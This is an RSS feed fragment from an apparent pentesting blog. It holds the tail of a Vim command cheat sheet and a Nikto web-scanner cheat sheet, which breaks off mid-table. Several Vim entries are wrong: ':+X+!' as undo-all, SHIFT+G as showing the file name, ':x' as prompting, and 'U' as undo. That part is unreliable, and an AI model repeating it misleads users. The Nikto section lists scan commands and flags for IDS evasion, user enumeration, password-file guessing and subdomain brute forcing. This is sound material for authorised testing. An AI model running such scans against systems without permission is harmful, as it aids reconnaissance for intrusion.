&lt;h4 id=&quot;vim-split-window-virtically&quot;&gt;Vim Split Window Virtically&lt;/h4&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:vsplit&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Split window Virtically in Vim&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-close-all-split-windows&quot;&gt;Vim Close All Split Windows&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:only&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Closes all split windows and focuses on the primary window&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-save-commands&quot;&gt;Vim Save commands&lt;/h2&gt;

&lt;h3 id=&quot;how-to-save-in-vim&quot;&gt;How to Save in Vim&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:w&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Writes the file to disk&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-save-and-exit&quot;&gt;Vim Save and Exit&lt;/h3&gt;

&lt;p&gt;How to save and exit Vim, personally I use &lt;code&gt;:wq&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:wq&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Save and exit Vim&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &amp;lt;/tr&amp;gt;

      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:x&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Exit - Vim will prompt and ask if you wish to save&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &amp;lt;/tr&amp;gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;SHIFT+ZZ&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Another way to Save and Exit Vim&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &amp;lt;/tr&amp;gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;wq!&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Forces save on read only files, and exits&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;    
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;misc-vim-commands&quot;&gt;Misc Vim Commands&lt;/h2&gt;

&lt;h3 id=&quot;vim-undo-command&quot;&gt;Vim Undo Command&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vi Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;U&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Press &lt;code&gt;SHIFT+U&lt;/code&gt; to undo in Vi&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-undo-all&quot;&gt;Vim Undo All&lt;/h3&gt;

&lt;p&gt;Vim undo all since last write.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:+X+!&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Undo everything since last write&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-show-file-name&quot;&gt;Vim Show File Name&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SHIFT+G&lt;/code&gt; shows the file name, number of lines and current position.&lt;/p&gt;

&lt;h2 id=&quot;vim-multipliers&quot;&gt;Vim Multipliers&lt;/h2&gt;

&lt;p&gt;Almost every command in Vim can leverage multipliers, typically it’s a case of prefixing the command with a numnber. Example: &lt;code&gt;10W&lt;/code&gt; would move 10 words to the right.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Nikto Cheat Sheet - Commands &amp; Examples</title>
          <link>https://hacksofdhruv.me/blog/nikto-cheat-sheet/</link>
          <pubDate>Fri, 15 Dec 2023 14:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Web</category>
          
          <category>Tools</category>
          
          <category>Pen-Testing</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/nikto-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-nikto&quot; id=&quot;markdown-toc-what-is-nikto&quot;&gt;What is Nikto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nikto-installation&quot; id=&quot;markdown-toc-nikto-installation&quot;&gt;Nikto Installation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#nikto-update&quot; id=&quot;markdown-toc-nikto-update&quot;&gt;Nikto Update&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#main-script-is-in-program&quot; id=&quot;markdown-toc-main-script-is-in-program&quot;&gt;Main script is in program&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#check-out-the-250-branch&quot; id=&quot;markdown-toc-check-out-the-250-branch&quot;&gt;Check out the 2.5.0 branch&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#run-using-the-shebang-interpreter&quot; id=&quot;markdown-toc-run-using-the-shebang-interpreter&quot;&gt;Run using the shebang interpreter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#run-using-perl-if-you-forget-to-chmod&quot; id=&quot;markdown-toc-run-using-perl-if-you-forget-to-chmod&quot;&gt;Run using perl (if you forget to chmod)&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nikto-scan-cheat-sheet&quot; id=&quot;markdown-toc-nikto-scan-cheat-sheet&quot;&gt;Nikto Scan Cheat Sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nikto-command-flags-sheet&quot; id=&quot;markdown-toc-nikto-command-flags-sheet&quot;&gt;Nikto Command Flags Sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nikto-example-commands&quot; id=&quot;markdown-toc-nikto-example-commands&quot;&gt;Nikto Example Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#nikto-scanning&quot; id=&quot;markdown-toc-nikto-scanning&quot;&gt;Nikto Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nikto-using-a-proxy&quot; id=&quot;markdown-toc-nikto-using-a-proxy&quot;&gt;Nikto Using a Proxy&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nikto2-features&quot; id=&quot;markdown-toc-nikto2-features&quot;&gt;Nikto2 Features&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#document-changelog&quot; id=&quot;markdown-toc-document-changelog&quot;&gt;Document Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-nikto&quot;&gt;What is Nikto&lt;/h2&gt;

&lt;p&gt;Nikto is an open-source web server scanner that performs comprehensive tests to identify potentially dangerous files/programs, outdated versions of servers, server configuration items, and installed web servers and software. It also supports LibWhisker’s anti-IDS methods to avoid detection. While not every check is a security issue, most are, and there are also info-only checks and checks for unknown items.&lt;/p&gt;

&lt;h2 id=&quot;nikto-installation&quot;&gt;Nikto Installation&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/sullo/nikto&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nikto-update&quot;&gt;Nikto Update&lt;/h3&gt;

&lt;p&gt;cd into your nikto git clone directory:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git pull&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;main-script-is-in-program&quot;&gt;Main script is in program&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;nikto/program&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;check-out-the-250-branch&quot;&gt;Check out the 2.5.0 branch&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git checkout nikto-2.5.0&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;run-using-the-shebang-interpreter&quot;&gt;Run using the shebang interpreter&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;./nikto.pl &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; http://www.foo.com&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;run-using-perl-if-you-forget-to-chmod&quot;&gt;Run using perl (if you forget to chmod)&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;perl nikto.pl &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; http://www.foo.com&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ul&gt;
  &lt;li&gt;list element with functor item&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;nikto-scan-cheat-sheet&quot;&gt;Nikto Scan Cheat Sheet&lt;/h2&gt;

&lt;p&gt;The following Nikto command usage for scanning a web application:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;Command&lt;/th&gt;
    &lt;th&gt;Description&lt;/th&gt;
  &lt;/tr&gt;
  &lt;/thead&gt;  
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h http://foo.com&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scans the specified host&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h http://foo.com -Tuning 6&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Uses a specific Nikto scan tuning level&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h http://foo.com -port 8000&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scans the specified port&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h http://foo.com -ssl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scans for SSL vulnerabilities&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h http://foo.com -Format html&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Formats output in HTML&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h http://foo.com -output out.txt&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Saves the output to a file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h2 id=&quot;nikto-command-flags-sheet&quot;&gt;Nikto Command Flags Sheet&lt;/h2&gt;

&lt;p&gt;The following Nikto commands allow for configuration of a Nikto scan:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Option&lt;/th&gt;
        &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ask+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;yes&lt;/code&gt; Ask about each (default)&lt;/p&gt;&lt;p&gt;&lt;code&gt;no&lt;/code&gt; Don&apos;t ask, don&apos;t send&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Cgidirs+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;&quot;none&quot;, &quot;all&quot;, or values like &quot;/cgi/ /cgi-a/&quot;&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-config+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Use this config file&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Display+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;1 Show redirects&lt;/p&gt;&lt;p&gt;2 Show cookies received&lt;/p&gt;&lt;p&gt;3 Show all 200/OK responses&lt;/p&gt;&lt;p&gt;4 Show URLs which require authentication&lt;/p&gt;&lt;p&gt;D Debug output&lt;/p&gt;&lt;p&gt;E Display all HTTP errors&lt;/p&gt;&lt;p&gt;P Print progress to STDOUT&lt;/p&gt;&lt;p&gt;S Scrub output of IPs and hostnames&lt;/p&gt;&lt;p&gt;V Verbose output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-dbcheck&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Check database and other key files for syntax errors&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-evasion+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;1 Random URI encoding (non-UTF8)&lt;/p&gt;&lt;p&gt;2 Directory self-reference (/./)&lt;/p&gt;&lt;p&gt;3 Premature URL ending&lt;/p&gt;&lt;p&gt;4 Prepend long random string&lt;/p&gt;&lt;p&gt;5 Fake parameter&lt;/p&gt;&lt;p&gt;6 TAB as request spacer&lt;/p&gt;&lt;p&gt;7 Change the case of the URL&lt;/p&gt;&lt;p&gt;8 Use Windows directory separator (\)&lt;/p&gt;&lt;p&gt;A Use a carriage return (0x0d) as a request spacer&lt;/p&gt;&lt;p&gt;B Use binary value 0x0b as a request spacer&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Format+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;csv Comma-separated-value&lt;/p&gt;&lt;p&gt;htm HTML Format&lt;/p&gt;&lt;p&gt;msf+ Log to Metasploit&lt;/p&gt;&lt;p&gt;nbe Nessus NBE format&lt;/p&gt;&lt;p&gt;txt Plain text&lt;/p&gt;&lt;p&gt;xml XML Format&lt;/p&gt;&lt;p&gt;(if not specified the format will be taken from the file extension passed to -output)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Help&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Extended help information&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-host+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Target host&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-IgnoreCode&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Ignore Codes--treat as negative responses&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-id+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Host authentication to use, format is id:pass or id:pass:realm&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-key+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Client certificate key file&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-list-plugins&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List all available plugins, perform no testing&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-maxtime+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Maximum testing time per host&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-mutate+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;1 Test all files with all root directories&lt;/p&gt;&lt;p&gt;2 Guess for password file names&lt;/p&gt;&lt;p&gt;3 Enumerate user names via Apache (/~user type requests)&lt;/p&gt;&lt;p&gt;4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)&lt;/p&gt;&lt;p&gt;5 Attempt to brute force sub-domain names, assume that the host name is the parent domain&lt;/p&gt;&lt;p&gt;6 Attempt to guess directory names from the supplied dictionary file&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-mutate-options&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Provide information for mutates&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-nointeractive&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Disables interactive features&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-nolookup&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Disables DNS lookups&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-nossl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Disables the use of SSL&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-no404&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Disables nikto attempting to guess a 404 page&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-output+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Write output to this file (&apos;.&apos; for auto-name)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Pause+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Pause between tests (seconds, integer or float)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Plugins+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List of plugins to run (default: ALL)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-port+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Port to use (default 80)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-RSAcert+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Client certificate file&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-root+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Prepend root value to all requests, format is /directory&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Save&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Save positive responses to this directory (&apos;.&apos; for auto-name)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-ssl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Force ssl mode on port&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Tuning+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;1 Interesting File / Seen in logs&lt;/p&gt;&lt;p&gt;2 Misconfiguration / Default File&lt;/p&gt;&lt;p&gt;3 Information Disclosure&lt;/p&gt;&lt;p&gt;4 Injection (XSS/Script/HTML)&lt;/p&gt;&lt;p&gt;5 Remote File Retrieval - Inside Web Root&lt;/p&gt;&lt;p&gt;6 Denial of Service&lt;/p&gt;&lt;p&gt;7 Remote File Retrieval - Server Wide&lt;/p&gt;&lt;p&gt;8 Command Execution / Remote Shell&lt;/p&gt;&lt;p&gt;9 [SQL Injection](/penetration-testing/web-app/sql-injection/)&lt;/p&gt;&lt;p&gt;0 File Upload&lt;/p&gt;&lt;p&gt;a Authentication Bypass&lt;/p&gt;&lt;p&gt;b Software Identification&lt;/p&gt;&lt;p&gt;c Remote Source Inclusion&lt;/p&gt;&lt;p&gt;x Reverse Tuning Options (i.e., include all except specified)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-timeout+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Timeout for requests (default 10 seconds)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Userdbs&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Load only user databases, not the standard databases&lt;/p&gt;&lt;p&gt;all Disable standard dbs and load only user dbs&lt;/p&gt;&lt;p&gt;tests Disable only db_tests and load udb_tests&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-until&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Run until the specified time or duration&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-update&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Update databases and plugins from CIRT.net&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-useproxy&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Use the proxy defined in nikto.conf&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-Version&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Print plugin and database versions&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;-vhost+&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Virtual host (for Host header)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;

&lt;h2 id=&quot;nikto-example-commands&quot;&gt;Nikto Example Commands&lt;/h2&gt;

&lt;h3 id=&quot;nikto-scanning&quot;&gt;Nikto Scanning&lt;/h3&gt;

&lt;p&gt;The following nikto commands allow you to run basic nikto scans against a web application.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;Command&lt;/th&gt;
    &lt;th&gt;Description&lt;/th&gt;
  &lt;/tr&gt;
  &lt;/thead&gt;  
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h [target]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Basic scan, no HTTP options.&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h [target] -Tuning [tuning]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scan with a specific tuning.&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h [target] -mutate [mutate]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scan with a specific mutation.&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
